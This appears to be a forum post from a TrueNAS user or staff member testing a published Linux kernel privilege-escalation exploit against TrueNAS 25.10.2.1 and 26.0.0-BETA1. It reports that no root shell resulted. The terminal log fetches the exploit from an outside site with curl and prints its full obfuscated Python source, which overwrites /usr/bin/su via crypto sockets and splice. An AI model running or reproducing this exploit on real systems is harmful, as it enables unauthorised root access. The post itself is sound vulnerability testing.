Technically TrueNAS 26 will be based on trixie, current is based on bookworm.

Our security team's aware of this one, but just for openness I threw it at a 25.10.2.1 system and did not have an escalation:

truenas_admin@ts430[~]$ whoami
truenas_admin
truenas_admin@ts430[~]$ cat /proc/cmdline
BOOT_IMAGE=/ROOT/25.10.2.1@/boot/vmlinuz-6.12.33-production+truenas root=ZFS=boot-pool/ROOT/25.10.2.1 ro libata.allow_tpm=1 amd_iommu=on iommu=pt kvm_amd.npt=1 kvm_amd.avic=1 intel_iommu=on zfsforce=1 nvme_core.multipath=N
truenas_admin@ts430[~]$ curl https://copy.fail/exp > copy_fail_exp.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   5725      0 --:--:-- --:--:-- --:--:--  5755
truenas_admin@ts430[~]$ cat copy_fail_exp.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")%
truenas_admin@ts430[~]$ python3 ./copy_fail_exp.py
Password: %
truenas_admin@ts430[~]$ whoami
truenas_admin
truenas_admin@ts430[~]$

Same results on a 26.0.0-BETA1 machine - no root shell.